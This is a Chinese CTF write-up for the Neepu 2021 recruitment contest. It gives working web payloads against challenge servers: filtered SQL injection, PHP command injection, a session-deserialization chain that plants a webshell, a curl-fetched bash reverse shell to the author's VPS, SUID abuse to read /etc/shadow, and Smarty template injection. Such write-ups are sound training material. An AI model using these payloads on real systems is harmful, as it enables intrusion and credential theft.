一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题

随便注2.0

是原题“[强网杯 2019]随便注”的变式,过滤的很多

return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| |    |\./i",$inject);

空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了

看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,隔开

0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23

有懈可击

  • git泄露
  • php特性,点和空格传值的时候会转化成下划线

f12看到测试账号,登入进后台

扫描后台有git泄露
找到了一个index.txt

里面唯一的php代码

传一个值给neepu_debug.mode,然后会执行这个命令

但是出现问题,php中,传值的时候,如果键名有点.,那么就会转化成下划线_
文档

绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过

?neepu[debug.mode=system('cat /flag');

Serialize

  • 任意文件读取
  • session反序列化
  • session_upload配合session反序列化

看他的请求里面有一个/functions/file.php?file=可以读取文件,这波直接拿到许多网页的源码

<?php
/***    @author: Ricky*    @function: Read file*  @return string*    @param $filename string*  @param $dirname string**/header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){$file = file_get_contents($dirname.$filename);echo $file;
} else{die('Read fail :(');
}

index.php

<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {protected//! Neepu$neepu,//! Memory-held data$data,//! Info$info;public function __construct() {$this->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>";$this->info['info'] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>";}public function checkinfo() {if(!isset($_POST['info'])) {echo $this->neepu;}else {echo $this->info['info'];phpinfo();}}public function __call($name,$args) {echo $this->neepu;}public function __toString() {$this->info['info']->data;return "Neepu!";}
}
class n33pu {public//! Neepu func$func;public function __get($args) {$Neepu = $this->func;return $Neepu();}
}
class dumb {public//! dumb$dumb;public function silly(){echo "Who care about it?";}public function __destruct(){$this->dumb->silly();}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
?>

config/backdoor.php

<?php
class backdoor {protected//! eval code$cmd;public function __invoke() {if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);}else{die("A webshell is waiting for you");}}
}

应该是在index里面利用这个backdoor来写一个马进后台
这个马就很特殊,只能有这几个符号,这几个符号一看就是之前遇到的无数字字母命令执行,看p神文章

post一个info就得到了phpinfo

找一下反序列化的点
phar是不行了

发现了一个小细节
他这里使用的session引擎是php,而本身的php版本是php7,php5.5.4后默认php_serialize

ini_set('session.serialize_handler','php');

这里是存在session反序列化,但是题目也没用上session,那就属于session不可直接控制的情况
看一下session_upload,发现是打开的

应该锁定是session反序列化了,然后依靠session_upload写shell

|O:4:\"dumb\":1:{s:4:\"dumb\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";N;s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";O:8:\"backdoor\":1:{s:3:\"cmd\";s:230:\"$_=[];$_=@\"$_\";$_=$_[\"!\"==\"@\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\"_\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\";}}}}s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";N;}}}}

线程开多一点,可以看到成功执行了

但是在phpinfo里面看到很多命令执行函数都被过滤了
找disable

system,exec,shell_exec,pctnl_exec,chroot,curl_exec


漏了一个passthru
成功执行命令

反弹shell进去
这个反弹shell的方法我也是第一次用,curl反弹shell
在自己的vps上创建一个shell.html,里面写上bash -i >& /dev/tcp/公网ip/端口 0>&1
在目标的机子上执行curl 域名/shell.html |bash
然后到自己的vps上执行nc

成功反弹shell

根目录没有flag,那就估计是在root里面,看了一下,没有权限

接下来就是提权

find / -perm -u=s -type f 2>/dev/null

xxd "/etc/shadow" | xxd -r
xxd "/root/flag" | xxd -r

gamebox

万能密码登录进去

1'='0

发现验证码在返回包里面,就是图片名
使用burp的Pitchfork方式爆破
先设置一下,选中验证码图片的名字

最下面的这个要选always

线程为1

开始爆破

成功后进行跳转


注意他请求了一个php文件,用伪协议读取源码

/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php
<?php
// create object
if ($_SESSION['num'] >= 5) {include('smarty/Smarty.class.php');$smarty = new Smarty;$name = $_SESSION["username"];$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}

在这个name里面有着SSTI
重新登录,用这个名字来登陆

# {{shell_exec("\ls\t/")}}'='0
{{shell_exec("cat\t/This_is_your_Flag")}}'='0

然后继续抓包爆破

[Neepuctf2021]wp相关推荐

  1. [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序

    下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...

  2. wp实例开发精品文章源码推荐

    qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用         这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...

  3. cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏

    无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...

  4. linux 更改wp版本号,代码实现移除 WordPress 版本号

    默认情况下,WordPress会在页头输出版本号,有一定安全隐患. 在当前主题的functions.php中添加以下代码,可同时移除feed和js/css中的WordPress版本号: // 同时删除 ...

  5. 图解 wp WordPress 文章 链接 在新窗口打开

    wp WordPress 文章 链接 在新窗口打开 因为wp默认是不在新窗口打开链接的,这对于我们这样习惯关窗口的人,用起来很不方便.其实改起来很简单,下面开始 一.打开外观,选择编辑 二.打开主题页 ...

  6. 正确设置语言,加速WP应用提交

            App Hub在7月18日进行了更新.有些用户反馈新增的默认语言选项有点令人费解.本文简单做个介绍,帮助开发者正确设置语言,加速WP应用提交快速.这次的系统更新后,App Hub可以检 ...

  7. wordpress必装的插件 wp最常用的十个插件

    wordpress是世界上著名的博客系统,简称wp.一般新安装完wordpress以后,往往需要首先安装一些插件,这样才可以使用wordpress的更多功能.wp最常用的十个插件有哪些呢,可能根据每个 ...

  8. WP老杨解迷:开发生态两极化和榜单乱象

    WP老杨解迷:开发生态两极化和榜单乱象 Windows Phone 自2013年的一片浪潮推动下,2014年终于开始引起了各大小CP们的注意,于是大量的产品开始乘风破浪一路涌进Windows Phon ...

  9. WordPress开发之WP Custom Register Login插件试用

    简介 WP Custom Register Login可以为你的WordPress网站前台增加注册.登录.找回密码的功能:你可以通过简码在任何页面上调用. 此外,该插件还支持设置自动通过用户的电子邮件 ...

最新文章

  1. MATLAB_size()和find(),有什么区别?
  2. php教程数据库操作,PHP实现对文本数据库的常用操作方法实例演示_PHP教程
  3. 产品经理成长三五事儿:搭建自己的成长模型
  4. SteamVR 工具包VRTK实例解析
  5. HDU 1166 敌兵布阵(线段树单点加区间查询)
  6. List集合_介绍常用方法
  7. java 权限控制 demo_Java-访问控制权限
  8. 微信公众号开发经验总结
  9. 数据结构与算法——排序
  10. 一个小案例精通lamda表达式与函数式接口
  11. python爬虫网络中断_Python 爬虫总是超时中断?试试Tenacity重试模块
  12. 基于上下文化图注意力网络的知识图谱的条目推荐
  13. Filecoin网络目前总质押量约为3314万枚FIL
  14. 做游戏,学编程(C语言) 12 炸弹人
  15. 如何系统的自学python-如何系统地自学Python?
  16. vue.js2.0视频教程
  17. 【转载】关于小程序的100个常见问题(基础知识扫盲)
  18. mandriva urpm类命令
  19. 微信小程序中wxml中用data-id传出的数据在js中的获取方法。
  20. 2021-6-8-今日收获

热门文章

  1. 谷歌流计算论文streaming 101: 批处理之上的世界(一)
  2. WebGIS——OpenLayers 3 地图叠加自定义卫星/航拍/手绘地图(任意瓦片图)
  3. 【博弈论】耶鲁大学公开课--博弈论Problem Set 3--Solution
  4. 看了韩剧,才发现琼瑶阿姨原来是如此含蓄!
  5. 机器人关节伺服电机三环控制方式
  6. Shader实例:溶解效果(Dissolve)
  7. VFP搞定支付你要懂的一些知识,知道才能做到
  8. BEA Elink 产品介绍
  9. ant-design-vue vue2图标选择器
  10. 计算机网络代表着第几次革命,互联网是第几次信息革命